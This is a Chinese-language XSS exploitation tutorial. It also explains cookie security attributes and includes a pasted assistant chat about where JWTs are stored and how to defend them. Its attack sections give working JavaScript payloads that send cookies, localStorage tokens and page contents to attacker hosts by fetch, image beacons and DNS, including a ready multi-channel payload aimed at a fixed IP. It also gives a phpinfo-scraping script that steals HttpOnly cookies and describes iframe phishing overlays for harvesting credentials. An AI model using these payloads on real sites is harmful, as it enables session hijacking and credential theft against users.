XSS深入利用¶
Cookie的安全属性¶
Cookie 是一种存储在用户浏览器中的小型文本文件,用于跟踪用户会话、偏好设置等信息。为了确保 Cookie 的安全性,可以设置多种安全属性。以下是一些常见的安全属性:
HttpOnly¶
- 作用:防止 JavaScript 访问 Cookie。
- 原理:当设置
HttpOnly属性后,Cookie 无法通过客户端的 JavaScript 访问,只能通过 HTTP 请求发送到服务器。这可以有效防止跨站脚本攻击(XSS)利用 JavaScript 窃取 Cookie。 - 示例:
Secure¶
- 作用:仅通过 HTTPS 协议发送 Cookie。
- 原理:当设置
Secure属性后,Cookie 只会通过 HTTPS(加密的 HTTP)协议发送到服务器,而不会通过 HTTP 发送。这可以防止中间人攻击(MITM)窃取 Cookie。 - 示例:
SameSite¶
- 作用:控制 Cookie 在跨站请求中的发送行为。
- 原理:
SameSite=Lax:Cookie 仅在相同站点或顶层导航的跨站请求中发送(例如用户点击链接从其他网站跳转过来)。SameSite=Strict:Cookie 仅在相同站点的请求中发送,完全禁止跨站请求发送 Cookie。SameSite=None:Cookie 可以在跨站请求中发送,但必须配合Secure属性使用。- 示例:
Domain¶
- 作用:指定 Cookie 的有效域名。
- 原理:Cookie 只会在指定的域名下有效。如果设置为
.example.com,则在example.com及其所有子域名下有效。 - 示例:
Path¶
- 作用:指定 Cookie 的有效路径。
- 原理:Cookie 只在指定的路径下有效。例如,如果设置为
/admin,则仅在/admin路径下有效。 - 示例:
Expires/Max-Age¶
- 作用:设置 Cookie 的过期时间。
- 原理:
Expires:指定一个具体的过期时间(UTC 时间)。Max-Age:指定 Cookie 的最大有效时间(以秒为单位)。- 示例:
Priority¶
- 作用:设置 Cookie 的优先级。
- 原理:可以设置为
Low、Medium或High,用于控制浏览器对 Cookie 的处理优先级。 - 示例:
SecureContext¶
- 作用:确保 Cookie 只在安全上下文中可用。
- 原理:当设置
SecureContext属性后,Cookie 只能在 HTTPS 或其他安全上下文中使用。 - 示例:
SameParty¶
- 作用:限制 Cookie 在不同子域名之间的共享。
- 原理:当设置
SameParty属性后,Cookie 只能在同一组织控制的子域名之间共享。 - 示例:
最佳实践¶
为了确保 Cookie 的安全性,建议同时设置以下属性:
- HttpOnly:防止 JavaScript 访问。
- Secure:仅通过 HTTPS 发送。
- SameSite=Strict 或 SameSite=Lax:防止跨站请求伪造(CSRF)攻击。
- Max-Age:设置合理的过期时间。
例如:
通过合理设置这些属性,可以有效保护 Cookie 的安全性,防止被恶意利用。
如何将数据带外¶
在网络安全和渗透测试中,XSS 数据外带(Data Exfiltration) 是指攻击者在成功触发跨站脚本(XSS)漏洞后,利用 JavaScript 将受害者浏览器中的敏感数据(如 Cookie、LocalStorage、页面内容、CSRF Token 等)窃取并发送到攻击者控制的服务器上的过程。
基于 HTTP 请求的外带 (Fetch / XHR)¶
这是现代 Web 应用中最常见、最灵活的外带方式。攻击者使用 fetch API 或 XMLHttpRequest 将数据作为 POST 请求的主体或 GET 请求的参数发送出去。
// 窃取当前页面的 Cookie 或特定元素的内容
const stolenData = document.cookie;
// 使用 Fetch API 将数据发送到攻击者控制的服务器
fetch('https://attacker-controlled-server.com/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
target: window.location.href,
data: stolenData
})
});
可以发送大量数据,支持 POST 方法,不易在服务器访问日志中留下完整的敏感数据(因为数据在请求体中)。
- 适用场景:
- 数据量较大:需要窃取整个页面的 HTML 源码、大量的 LocalStorage 数据或长文本。
- 需要隐蔽传输:使用
POST方法将数据放在请求体(Body)中,避免敏感数据出现在 URL 中,从而避开 Web 服务器访问日志和基础 WAF 的 URL 关键字检测。 - 目标环境宽松:目标网站没有配置严格的 CSP,或者 CSP 的
connect-src指令允许向外部域名发起请求。 - 限制与失效场景:
- 受 CSP (
connect-src) 严格限制时,浏览器会直接阻断请求。 - 如果跨域请求且目标服务器未配置正确的 CORS 响应头,复杂的 POST 请求会因预检(OPTIONS)失败而被浏览器拦截。
- 容易被高级 WAF 识别出异常的
application/json或包含敏感关键字(如document.cookie)的 POST 流量。
基于 DOM 元素的外带 (Image / Script / Link)¶
这是一种传统但极其可靠的方法,尤其在目标环境限制了现代 API 或存在较老的浏览器时非常有效。
通过 JavaScript 动态创建 HTML 元素,并将敏感数据附加到资源的 URL 中。浏览器在尝试加载该资源时,会自动向该 URL 发起 GET 请求。
const stolenData = encodeURIComponent(document.cookie);
const img = new Image();
// 浏览器会尝试加载这个图片,从而将数据通过 GET 参数发送给攻击者
img.src = `https://attacker-controlled-server.com/log?data=${stolenData}`;
const script = document.createElement('script');
// 加载攻击者服务器上的恶意脚本,并将数据作为参数传递
script.src = `https://attacker-controlled-server.com/evil.js?info=${encodeURIComponent(document.domain)}`;
document.head.appendChild(script);
兼容性极高,不受同源策略(针对资源加载)的严格限制,但数据会暴露在 URL 中,容易被 Web 服务器日志、代理或 WAF 记录。
- 适用场景:
- 绕过 CORS 限制:
<img>、<script>、<link>标签加载外部资源**不受同源策略(CORS)的限制**。即使目标服务器没有配置任何 CORS 头,浏览器也会乖乖发起请求。 - CSP 配置存在疏漏:如果目标网站的 CSP 禁止了
connect-src(防 Fetch),但为了加载第三方统计代码或 CDN 资源,宽松地配置了img-src *或script-src *,攻击者即可利用此漏洞。 - 老旧环境:目标浏览器版本极低,不支持现代的
fetchAPI。 - 限制与失效场景:
- 只能是 GET 请求:数据必须拼接在 URL 参数中。
- 长度限制:URL 长度受浏览器和服务器的限制(通常在 2000 ~ 8000 字符之间),无法外带大量数据。
- 日志暴露:完整的敏感数据会明文记录在目标服务器、中间代理或 WAF 的访问日志中,容易被事后溯源发现。
- 必须进行严格的 URL 编码(
encodeURIComponent),否则特殊字符会破坏 URL 结构。
DNS 外带 (DNS Exfiltration)¶
当目标网站部署了非常严格的**内容安全策略 (CSP)**,阻止了向外部域名发起 HTTP/HTTPS 请求时,攻击者可能会转向 DNS 协议。
攻击者控制一个域名(如 evil.com)。恶意脚本将窃取的数据编码(如 Base32/Hex)后,作为子域名的一部分,尝试解析该子域名(例如通过创建 <img> 标签指向 data-encoded.evil.com)。攻击者通过监控其权威 DNS 服务器的查询日志,即可还原出外带的数据。
const data = btoa(document.cookie).replace(/=/g, ''); // Base64 编码并去除 =
// 触发 DNS 查询
new Image().src = `http://${data}.attacker-dns-log.com`;
能够绕过许多仅针对 HTTP/HTTPS 流量的 WAF 和 CSP 策略,但受限于 DNS 协议的特性(如子域名长度限制、字符集限制、UDP 丢包),通常只能外带少量关键数据(如 Session ID)。
- 适用场景:
- 极其严格的 CSP:目标配置了
default-src 'none',禁止了所有 HTTP/HTTPS 出站请求,甚至连图片都不允许加载到外部。但浏览器解析 DNS 是操作系统底层的行为,CSP 无法阻止 DNS 查询。 - 严格的网络隔离(防火墙):目标服务器或客户端处于内网,防火墙出站规则(Egress Filtering)极其严格,仅允许 DNS 流量(UDP/TCP 53 端口) 出网,封锁了所有 80/443 端口的对外连接。
- 盲 XSS (Blind XSS):在无法看到执行结果的场景(如后台日志查看器、客服工单系统),通过触发 DNS 查询,攻击者可以通过 DNSLog 平台确认漏洞是否真实存在并被触发。
- 限制与失效场景:
- 数据量极小:DNS 协议对子域名标签长度有严格限制(每个标签最多 63 个字符,且只能使用字母、数字和连字符)。通常只能外带高价值的小数据(如 32 位的 Session ID 或 CSRF Token)。
- 需要编码:必须将数据转换为 Base32 或 Hex 格式,增加了 payload 的长度。
- 可靠性差:DNS 协议基于 UDP,容易丢包;且各级 DNS 缓存可能导致查询无法到达攻击者的权威服务器。
- 依赖外部基础设施:攻击者必须拥有一个可控的域名,并配置了能记录详细查询日志的权威 DNS 服务器(或使用现成的 DNSLog 平台)。
Note
为了降低攻击成本,攻击者(或渗透测试人员)通常不会自己搭建接收服务器,而是使用现成的第三方服务来捕获外带的数据。比如Webhook.site, RequestBin, Pingb.in, DNSLog 平台等。
如何选择带外方式¶
在授权渗透测试中,通常会按照以下逻辑进行尝试(由易到难,由常规到绕过):
- 首选尝试:
fetch(POST)。如果成功,数据量大且隐蔽。 - 若被 CSP 拦截 (
connect-src):降级尝试<img>或<script>(GET)。检查 CSP 是否漏放了img-src或script-src。 - 若数据量超过 URL 限制:尝试分块外带(将长数据切片,通过多个
<img>标签并发请求发送),或寻找其他无需外带的利用方式(如直接在前端修改 DOM 显示给攻击者看)。 - 若所有 HTTP/HTTPS 均被 CSP 或防火墙封锁:启用 DNS 外带。仅外带最核心的凭证(如 Token),用于后续的身份接管。
以下是一个完整的数据带外示例payload:
Object.defineProperty(web.portal, 'appProps', {
get: () => ({
appName: `<img src=x onerror="
(function(){
// 组合敏感数据
const payload = {
cookie: document.cookie,
storage: JSON.stringify(localStorage),
dom: document.documentElement.innerHTML.slice(0,2000)
};
// 多路传输保障
const jsonpFn = () => {
const s = document.createElement('script');
s.src = 'http://10.191.129.67:8000/j?d='+btoa(JSON.stringify(payload))+'&t='+Date.now();
};
const imgFn = () => {
new Image().src = 'http://10.191.129.67:8000/i.gif?c='+encodeURIComponent(payload.cookie);
};
// 随机化传输策略
Math.random() > 0.5 ? jsonpFn() : imgFn();
})();">`
})
});
XSS读取Token¶
现代的很多网站都使用Token(如JWT等)进行鉴权,那么如何使用XSS读取Token
USER¶
XSS攻击能够获取token吗,比如JWT
ASSISTANT¶
能,但取决于 JWT 在客户端的存储方式和安全配置。
XSS(跨站脚本攻击)的核心是**在受害者的浏览器中执行恶意 JavaScript 代码**。因此,XSS 能否获取 JWT,完全取决于恶意脚本能否通过 JavaScript 读取到 JWT。
具体分为以下几种情况:
1. 如果 JWT 存储在 localStorage 或 sessionStorage 中¶
结论:绝对能获取。
- 原因:这两个 Web Storage API 对同源的 JavaScript 是完全开放的。攻击者只需注入一行简单的代码,如
fetch('https://attacker.com/?token=' + localStorage.getItem('jwt_token')),就能轻松将 JWT 窃取到自己的服务器。 - 风险:极高。这是目前前端存储 Token 最不推荐的方式,因为一旦有 XSS 漏洞,Token 必丢。
2. 如果 JWT 存储在 Cookie 中¶
结论:取决于 Cookie 是否设置了 HttpOnly 属性。
-
情况 A:未设置
HttpOnly(能获取) 如果后端在 Set-Cookie 时没有加HttpOnly标志,JavaScript 可以通过document.cookie读取到该 Cookie。攻击者可以通过 XSS 将document.cookie发送给黑客服务器,从而窃取 JWT。 -
情况 B:设置了
HttpOnly(不能直接获取) 如果后端设置了Set-Cookie: token=xxx; HttpOnly,浏览器会**禁止 JavaScript 读取该 Cookie**。此时,即使存在 XSS 漏洞,攻击者也无法通过document.cookie拿到 JWT。
重要补充:拿不到 JWT,不代表 XSS 无法造成破坏¶
很多开发者认为:“只要我把 JWT 放在 HttpOnly 的 Cookie 里,XSS 就偷不到 Token,所以我就安全了。” 这是一个致命的误区。
即使 XSS 无法直接读取 HttpOnly 的 JWT,攻击者依然可以 “借刀杀人”:
- 浏览器在发送同源请求时,会**自动携带**
HttpOnly的 Cookie。 - 攻击者可以通过 XSS 注入代码,直接在前端发起 AJAX/Fetch 请求(例如:
fetch('/api/transfer', {method: 'POST', body: '...'}))。 - 因为请求是同源的,浏览器会自动带上 JWT Cookie。后端服务器会认为这是一个合法的用户请求,从而执行转账、修改密码、删除数据等敏感操作。
这种情况下,攻击者虽然没看到 JWT 长什么样,但已经完美利用了 JWT 的权限。
如何防御?(JWT 安全存储最佳实践)¶
为了防范 XSS 对 JWT 的窃取和滥用,建议采取以下综合防御措施:
- 存储方式选择:
- 推荐:将 JWT 存储在
HttpOnly+Secure+SameSite=Strict/Lax的 Cookie 中。这样可以防止 XSS 读取,也能在很大程度上防御 CSRF 攻击。 -
不推荐:直接存储在
localStorage或普通 Cookie 中。 -
双重 Token 机制(Access Token + Refresh Token):
- 将生命周期极短(如 15 分钟)的 Access Token 放在内存中(变量里)或
HttpOnlyCookie 中。 -
将生命周期较长(如 7 天)的 Refresh Token 严格存储在
HttpOnlyCookie 中,且后端限制其只能用于刷新 Token,不能用于访问业务 API。 -
前端防御 XSS:
- 对用户输入进行严格的转义和过滤。
- 使用现代前端框架(如 React, Vue),它们默认会对模板渲染的内容进行 HTML 转义,避免直接使用
dangerouslySetInnerHTML或v-html。 -
开启 CSP(内容安全策略),限制浏览器只能加载和执行可信来源的脚本,从根源上阻断 XSS 执行。
-
后端防御:
- 即使请求带了合法的 JWT,对于敏感操作(如改密、转账),后端应要求二次验证(如输入支付密码、短信验证码)。
- 结合
SameSiteCookie 属性和 CSRF Token 防御跨站请求伪造。
USER¶
如何在前端查看token的存储是否安全?
ASSISTANT¶
在前端查看 Token(如 JWT)的存储是否安全,最直接、最有效的方法是使用**浏览器的开发者工具(DevTools,按 F12 或右键“检查”)**。
你需要重点检查 Token 的**存储位置**以及**相关的安全属性**。以下是具体的操作步骤和判断标准:
第一步:定位 Token 的存储位置¶
打开浏览器开发者工具,切换到 Application(应用) 面板(Edge 浏览器中叫“应用程序”)。在左侧导航栏展开 Storage(存储)。
你需要依次检查以下三个位置,看看 Token(JWT 通常以 eyJ 开头)存在哪里:
1. 检查 Cookies(推荐且最常见的安全位置)¶
- 操作:点击
Cookies-> 选择你的域名。 - 判断标准: 找到存储 Token 的那条 Cookie,重点看右侧的属性列:
- HttpOnly:必须是
true(或打勾)。这是防 XSS 窃取的核心。如果没有这个属性,JS 可以通过document.cookie读取,不安全。 - Secure:必须是
true(或打勾)。确保 Cookie 只能通过 HTTPS 传输,防止在 HTTP 下被中间人窃听。 - SameSite:必须是
Strict或Lax。这是防 CSRF(跨站请求伪造)的关键。如果是None,则必须配合Secure使用,但依然存在一定的 CSRF 风险。
2. 检查 Local Storage / Session Storage(通常不安全)¶
- 操作:点击
Local Storage或Session Storage-> 选择你的域名。 - 判断标准:
- 只要在这里看到了 Token,就是【不安全】的。
- 原因:这两个存储区域对同源的所有 JavaScript 完全开放。一旦网站存在 XSS 漏洞,攻击者可以直接用
localStorage.getItem('token')把 Token 偷走。
3. 检查 内存 / 全局变量(相对安全,但体验受限)¶
- 操作:Token 如果存在内存中,不会直接显示在 Storage 面板里。你需要切换到 Console(控制台),尝试输入
window.token、window.authToken等常见变量名,或者在 Sources(源代码) 面板中查看 Vue/React 的全局状态(如 Vuex/Pinia/Redux store)。 - 判断标准:
- 防 XSS 窃取是安全的(因为 JS 无法通过常规 API 遍历内存),但**不防内存读取型 XSS**。
- 缺点:页面一刷新 Token 就没了,通常需要配合
HttpOnly的 Refresh Token 来实现无感刷新。
第二步:检查 Token 的传输方式(Network 面板)¶
存储安全只是第一步,Token 在请求中怎么传递同样重要。切换到 Network(网络) 面板,刷新页面或触发一个 API 请求,点击该请求查看详情:
1. 检查 Request Headers(请求头)¶
- 如果是 Cookie 存储:在请求头的
Cookie字段中能看到 Token。这是正常的,浏览器会自动携带HttpOnlyCookie。 - 如果是 Header 存储(如 Authorization):在请求头看到
Authorization: Bearer <token>。这说明 Token 存在前端内存或 Storage 中,由前端代码手动塞进请求头。(注意:如果 Token 存在 Storage 中,这种传输方式依然面临 XSS 风险)。
2. 致命错误检查:URL 参数¶
- 操作:查看请求的 URL(Query String Parameters)。
- 判断标准:
- 绝对不能看到 Token 出现在 URL 中(例如
https://api.xxx.com/data?token=eyJ...)。 - 原因:URL 会被记录在浏览器历史记录、服务器访问日志、代理服务器日志中,甚至通过
Referer头泄露给第三方网站。这是极其严重的安全漏洞。
第三步:终极 XSS 验证(Console 测试)¶
如果你怀疑 Token 存在 Cookie 中但没设置 HttpOnly,或者想验证前端代码是否真的无法读取 Token,可以在 Console(控制台) 中输入以下代码:
// 尝试获取所有 cookie
console.log(document.cookie);
// 尝试获取 localStorage
console.log(localStorage.getItem('token')); // 替换为实际的 key
- 安全的结果:
document.cookie打印出的内容中**不包含** Token;localStorage返回null。 - 不安全的结果:成功打印出了完整的 Token 字符串。
总结:前端 Token 存储安全 Checklist¶
你可以用以下清单快速评估当前项目的前端 Token 存储是否达标:
| 检查项 | 安全状态 | 说明 |
|---|---|---|
Token 存在 localStorage / sessionStorage |
危险 | 极易被 XSS 窃取,坚决避免。 |
| Token 存在 URL 参数中传递 | 危险 | 极易通过日志、历史记录泄露,坚决避免。 |
Token 存在 Cookie 中,但**未设置** HttpOnly |
危险 | 可被 document.cookie 读取,防不住 XSS。 |
Token 存在 Cookie 中,但**未设置** Secure |
警告 | 在 HTTP 环境下会被明文窃听(HTTPS 环境下影响较小,但仍建议开启)。 |
Token 存在 Cookie 中,但 SameSite=None |
警告 | 容易遭受 CSRF 攻击,建议改为 Lax 或 Strict。 |
Token 存在 Cookie 中,且设置了 HttpOnly + Secure + SameSite=Lax |
安全 | 最佳实践,同时防御了 XSS 窃取和 CSRF 滥用。 |
| Token 仅存在于前端内存(变量/状态管理)中 | 安全 | 防 XSS 窃取,但需配合后端机制解决刷新丢失问题。 |
补充提示:前端只能做到“尽量让攻击者拿不到 Token”,但如果网站本身存在严重的 XSS 漏洞,攻击者依然可以通过注入 JS 代码,直接以用户的名义发送请求(即使用户拿不到 Token 的具体内容,也能利用浏览器的自动携带机制执行敏感操作)。因此,修复 XSS 漏洞才是治本之策。
USER¶
你知道当前网页chat.qwen.ai也是将token存放到localStorage中的吗?
ASSISTANT¶
你观察得非常仔细。确实,包括 chat.qwen.ai 在内的许多现代大型 Web 应用(尤其是基于 React/Vue 等框架构建的单页应用 SPA),在实际工程中会选择将 Token(或用于维持会话的 Session ID、Access Token)存放在 localStorage 或 sessionStorage 中。
这似乎与我之前强调的“localStorage 存储 Token 不安全、不推荐”相矛盾。为什么像阿里这样拥有顶级安全团队的大厂,也会采用这种“理论上不安全”的方案呢?
这其实涉及到 “理论安全”与“工程实践”之间的权衡(Trade-off)。以下是大厂做出这种技术选型的几个核心原因:
1. 安全重心的转移:死磕 XSS 防御¶
将 Token 放在 HttpOnly Cookie 中,是**防御纵深**的体现(即使有 XSS,也偷不到 Token)。
而将 Token 放在 localStorage 中,本质上是**把“防 Token 泄露”的压力,全部转移到了“防 XSS”上**。
大厂之所以敢这么做,是因为他们有能力将 XSS 发生的概率降到极低:
- 严格的 CSP(内容安全策略):通过配置严格的 CSP,浏览器只允许执行来自可信域名的脚本,直接拦截了绝大多数外部注入的恶意代码。
- 强大的代码审计与自动化扫描:在 CI/CD 流程中集成严格的安全扫描,确保前端代码不存在
eval、不安全的 DOM 操作(如直接操作innerHTML)等漏洞。 - 框架层面的保护:现代前端框架(React/Vue)默认对模板渲染进行 HTML 转义,从根源上减少了 XSS 的注入点。
结论:只要确保绝对没有 XSS 漏洞,localStorage 就是安全的。大厂是在用高昂的安全研发成本,换取前端架构的便利。
2. 架构设计与用户体验的妥协¶
在现代前后端分离的 SPA 架构中,使用 Cookie 会带来一些工程上的痛点:
- 跨域与多端共享:Cookie 有严格的同源/同站(SameSite)限制。如果产品需要在多个不同的子域名、甚至嵌入到客户端的 WebView、小程序中共享登录态,
localStorage配合特定的跨域通信机制(如postMessage)往往比 Cookie 更灵活。 - 状态管理与无刷新体验:前端状态管理库(如 Redux, Pinia)结合
localStorage,可以非常方便地实现“页面刷新后恢复登录态”、“多标签页状态同步”等功能,而无需频繁向后端发起校验请求。 - OAuth/SSO 流程:在某些复杂的第三方登录回调流程中,前端需要临时暂存 Token 或 State 参数,
localStorage是比 Cookie 更常用的临时存储地。
3. Token 机制与后端风控的兜底¶
即使退一万步讲,假设真的发生了 XSS 导致 localStorage 中的 Token 被窃取,大厂也有足够的兜底手段让攻击者“拿到 Token 也没用”:
- 短效 Token:
localStorage中存放的通常是生命周期极短的 Access Token(如 15 分钟)。攻击者偷走后,很快就会过期。 - 强大的风控系统:后端不仅仅校验 Token 是否有效,还会结合**设备指纹、IP 地理位置、用户行为基线**进行风控。如果攻击者在异地、新设备上使用偷来的 Token 发起敏感请求,会立刻触发二次验证(如短信验证码、人脸识别)或直接拦截。
- 权限最小化:真正高权限的操作(如修改密码、绑定设备)不依赖这个 Token,而是需要独立的、更高级别的鉴权机制。
给普通开发者的启示:如何看待这种“矛盾”?¶
理解了大厂的做法,并不意味着我们要推翻之前的“最佳实践”。我们需要区分 “大厂的工程实践” 和 “通用安全建议”:
-
对于普通开发者/中小型项目: 依然强烈建议将 Token 存放在
HttpOnlyCookie 中。 因为中小项目往往没有资源去做到极致的 XSS 防御,代码中可能存在未知的漏洞。在这种情况下,localStorage就是一个定时炸弹。使用HttpOnlyCookie 是成本最低、最稳妥的“兜底”方案。 -
对于有成熟安全体系的大型项目: 使用
localStorage是一种 “风险可控的架构选择”。他们清楚地知道这里的理论风险,但通过 CSP、代码审计、后端风控等一系列组合拳,将实际风险降到了可接受的水平,从而换取了前端开发的便利和更好的用户体验。
总结来说: 安全没有绝对的黑白,只有**风险与成本的平衡**。 我之前提供的建议,是教你在“不知道如何防御 XSS”或“防御成本较高”时,如何用最简单的方法(HttpOnly Cookie)保证安全。 而你观察到的现象,则是顶级安全团队在“已经解决了 XSS 问题”后,为了追求更好的工程架构而做出的技术妥协。两者都是正确的,只是适用的场景和前提条件不同。
USER¶
我观察到很多网站同时存在Cookie和Token,但实际鉴权只使用Token,这么设计的目的是什么?
ASSISTANT¶
这是一个非常敏锐且专业的观察!在现代 Web 开发中,“前端请求头带 Token 鉴权,同时浏览器里还存着几个 Cookie” 是一种非常普遍的架构设计。
既然 API 鉴权只认 Token(通常是放在 Authorization: Bearer <token> 中),那这些 Cookie 存在的意义是什么?其实,Cookie 和 Token 并不是非此即彼的替代关系,在现代架构中,它们往往分工合作,各司其职。
以下是这种“双轨制”设计最常见的几个核心目的:
1. 经典的安全架构:双 Token 机制(Access Token + Refresh Token)¶
这是目前中大型项目最推荐的安全实践。
- Access Token(访问令牌):生命周期短(如 2 小时),通常存储在**内存**或
localStorage中。每次 API 请求时,前端将其放入 Header 中。它负责实际的业务鉴权。 - Refresh Token(刷新令牌):生命周期长(如 7 天),严格存储在
HttpOnly的 Cookie 中。 - 设计目的:
- 解决刷新丢失问题:如果 Access Token 只放内存,页面一刷新就没了。
- 极致安全:如果 Access Token 放在
localStorage,一旦有 XSS 漏洞就会被偷。但因为它的生命周期极短,损失可控。而真正长效的 Refresh Token 放在HttpOnlyCookie 中,XSS 根本偷不走。 - 结果:你看到的“实际鉴权只用 Token”,用的是 Access Token;而那个默默存在的 Cookie,其实是用来无感刷新 Access Token 的 Refresh Token。
2. SSO(单点登录)与跨子域状态共享¶
很多大厂的产品矩阵包含多个子域名(如 taobao.com, tmall.com, i.taobao.com)。
- Cookie 的作用:用户在主登录中心(如
login.taobao.com)登录后,会在顶级域名(.taobao.com)下种一个**全局的 SSO Cookie**。 - Token 的作用:当你访问具体的子业务(如
tmall.com)时,前端或后端会读取这个全局 Cookie,向认证中心换取一个**局部的、用于该子业务 API 鉴权的 JWT Token**,并存在前端的内存或localStorage中。 - 设计目的:Cookie 负责**跨子域名的登录态共享**(因为 Cookie 可以设置 Domain 为父域),而 Token 负责**具体业务接口的无状态鉴权**。
3. Cookie 根本不是用来做“业务鉴权”的(非鉴权用途)¶
很多时候,你在 Network 或 Application 面板里看到的 Cookie,业务后端根本不用它们来校验用户身份,它们是给**其他系统**看的:
- 风控与设备指纹:例如
device_id,trace_id。用于后端风控系统判断当前请求是否来自异常设备、是否是多开、是否有爬虫行为。 - WAF(Web 应用防火墙)/ 人机验证:例如 Cloudflare 的
cf_clearance,或阿里云盾的 Cookie。用于在网关层拦截恶意流量、通过滑块验证后发放的“通行证”。 - 数据埋点与分析:例如
_ga(Google Analytics),_fbp(Facebook Pixel)。纯粹用于前端统计用户行为、广告归因,与业务鉴权毫无关系。
4. 辅助防御 CSRF(跨站请求伪造)¶
虽然标准的 Authorization: Bearer <token> 鉴权方式本身就能免疫 CSRF(因为浏览器不会自动把自定义 Header 带到跨站请求中),但在一些混合架构或使用特定框架(如 Laravel, Angular)时,仍会看到 Cookie 的身影。
- 设计模式(Double Submit Cookie):后端在 Cookie 中写入一个随机的
XSRF-TOKEN。前端 JS 读取这个 Cookie,并在每次发送请求时,将其放入请求头(如X-XSRF-TOKEN)中。 - 设计目的:利用“只有同源 JS 才能读取 Cookie”的特性,来证明这个请求确实是由本站的前端代码发起的,从而提供双重保险。
5. 历史包袱与渐进式重构¶
很多大型网站不是一天建成的,往往经历了从“传统 MVC”到“前后端分离”的演进。
- 老系统:依赖传统的
Session ID(存在 Cookie 中) 进行鉴权。 - 新系统/新微服务:采用 JWT Token 进行无状态鉴权。
- 设计目的:在重构期间,为了兼容老接口和新接口,前端会同时维护 Cookie 和 Token。老接口走 Cookie,新接口走 Token。
总结:如何理解它们的分工?¶
你可以把现代 Web 架构想象成一个现代化的大型写字楼:
- Cookie(特别是 HttpOnly Cookie) 就像是**大楼的门禁卡/访客登记簿**。它由大楼物业(浏览器/网关)自动管理,用于跨楼层(跨子域)识别你的身份,或者用于安防系统(风控/WAF)记录你的行动轨迹。它很安全(XSS 偷不走),但不够灵活。
- Token(JWT/Access Token) 就像是**具体办公室的密码或动态令牌**。你进入大楼后,去具体的部门(调用具体的 API)办事时,需要出示这个令牌。它非常灵活,适合前后端分离和微服务架构,但需要你自己妥善保管(防 XSS)。
“同时存在 Cookie 和 Token,且鉴权只用 Token”,本质上是架构师在**安全性(防 XSS/CSRF)、灵活性(跨域/无状态)、用户体验(单点登录/无感刷新)** 三者之间做出的最优平衡。
如何绕过Http-only¶
当一个 cookie 设置了 HttpOnly 标志后,浏览器会禁止通过 JavaScript 脚本来读取这个 cookie 的值。这意味着即使有 XSS 攻击成功注入了恶意脚本,也无法从受害者浏览器中获取敏感的 cookie 值,从而有效防止了 cookie 盗取和会话劫持攻击。
但是HttpOnly不能够完全防御XSS,只能减少XSS带来的危害。
- 浏览器未保存帐号密码:需要 xss 产生登录地址,利用表单劫持
将用户输入的账户名和密码(也可是管理员,另存一份打包发送至我们的接收地址,但是局限于登录页面存在跨站脚本的漏洞,否则无法生效
-
浏览器读取保存的用户名密码
-
采用phpinfo界面,通过XMLHttpRequest请求该页面获取Cookie信息
<script>
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function getS() {
var Url = 'PHPinfo的地址';
createXmlHttp();
xmlHttp.onreadystatechange = writeS;
xmlHttp.open("GET", Url, true);
xmlHttp.send(null);
}
function writeS() {
if (xmlHttp.readyState == 4) {
var x = xmlHttp.responseText.match(/HTTP_COOKIE.+?<\/td><td.+?>([\w\W]+?)<\/td>/);
if (x){
var url = "自己收取cookie的地址" + x[1]; //x 为带httponly cookie的所有cookie
createXmlHttp();
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
}
}
}
getS();
</script>
-
客户端的可以使用ms08-069、通过flash、java的API可以获取到cookie
-
镶嵌一个frame全屏,提示登陆过期,然后跳转到钓鱼页面
自己写一个和原网站后台登录地址一模一样的钓鱼页面 JS加载一个iframe 100%覆盖原网页 提示登录超时重新登录 因为是iframe加载 url地址不变 钓鱼成功后 再跳转回/admin/index.php 因为目标session没过期 所以可以极大程度的模拟正常的登录成功操作
- XSS获取源码
如果后台的location地址和toplocation地址不一样 后台应该是采用了iframe形式加载功能页面 那么只要抓到toplocation的页面源代码 就可以得到其他所有功能页面的地址 并且再次获取源代码进行分析 注:我们是通过XSS 当时的session就是管理员本身 所以是可以正常的获取到页面源代码的